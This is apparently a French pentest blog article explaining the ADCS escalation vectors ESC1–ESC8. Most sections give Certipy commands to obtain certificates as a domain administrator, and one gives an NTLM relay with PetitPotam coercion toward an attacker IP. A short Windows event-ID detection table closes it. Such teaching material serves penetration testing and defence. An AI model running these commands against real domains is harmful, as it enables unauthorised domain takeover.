← Back to articles

ESC1 à ESC8 — comprendre chaque vecteur d'attaque ADCS

Pourquoi ADCS est une goldmine en pentest AD

Active Directory Certificate Services (ADCS) est souvent mal configuré et oublié des équipes défensives. Les 8 vecteurs ESC permettent dans la majorité des cas une élévation vers Domain Admin.

Outil de référence : Certipy par ly4k.

certipy find -u user@domain.local -p pass -dc-ip 10.10.10.1 -vulnerable

ESC1 — Enrollee Supplies Subject

Condition : le template permet à l’enrollé de spécifier un Subject Alternative Name (SAN) arbitraire.

certipy req -u user@domain.local -p pass \
  -ca 'DOMAIN-CA' -template 'VulnTemplate' \
  -upn 'administrator@domain.local'
certipy auth -pfx administrator.pfx

ESC2 — Any Purpose EKU

Condition : le template a l’EKU “Any Purpose” ou aucun EKU (utilisable pour l’authentification).

Exploitation identique à ESC1 si l’enrollé peut fournir un SAN, ou via agent certificate si non.

ESC3 — Certificate Request Agent

Condition : un template permet d’obtenir un certificat d’agent, utilisable pour s’enrolle au nom d’un autre utilisateur.

# Étape 1 : obtenir un certificat d'agent
certipy req -u user@domain.local -p pass -ca 'DOMAIN-CA' -template 'EnrollmentAgent'
# Étape 2 : s'enrolle au nom de l'admin
certipy req -u user@domain.local -p pass -ca 'DOMAIN-CA' \
  -template 'User' -on-behalf-of 'domain\administrator' -pfx agent.pfx

ESC4 — Vulnerable Certificate Template ACL

Condition : l’utilisateur a des droits d’écriture sur le template (WriteProperty, WriteDACL…).

# Modifier le template pour le rendre ESC1
certipy template -u user@domain.local -p pass -template 'VulnTemplate' -save-old
certipy req -u user@domain.local -p pass -ca 'DOMAIN-CA' \
  -template 'VulnTemplate' -upn 'administrator@domain.local'

ESC5 — Vulnerable PKI AD Object ACL

Condition : droits sur des objets PKI critiques (CA, NTAuthCertificates, enrollment services…).

Vecteur plus rare, nécessite une analyse BloodHound approfondie des ACLs PKI.

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

Condition : le flag EDITF_ATTRIBUTESUBJECTALTNAME2 est activé sur la CA, permettant à n’importe quel template d’accepter un SAN.

certutil -config "CA-SERVER\CA-NAME" -getreg policy\EditFlags
# Chercher EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 — Vulnerable Certificate Authority ACL

Condition : l’utilisateur a ManageCA ou ManageCertificates sur la CA.

# Avec ManageCA : activer EDITF_ATTRIBUTESUBJECTALTNAME2 → ESC6
certipy ca -u user@domain.local -p pass -ca 'DOMAIN-CA' -enable-templates SubCA

ESC8 — NTLM Relay to AD CS HTTP Endpoints

Condition : les endpoints HTTP de l’enrollment web (certsrv) n’ont pas l’EPA activé.

# Lancer le relay
ntlmrelayx.py -t http://CA-SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template 'DomainController'
# Déclencher une authentification entrante (PrinterBug, PetitPotam...)
petitpotam.py -u user -p pass ATTACKER-IP DC-IP

Détection

ESCÉvènement WindowsDescription
ESC1/2/34886, 4887Certificate requested/issued avec SAN suspect
ESC45136Modification d’objet AD (template)
ESC84624 type 3 depuis certsrvNTLM auth vers web enrollment

Ressources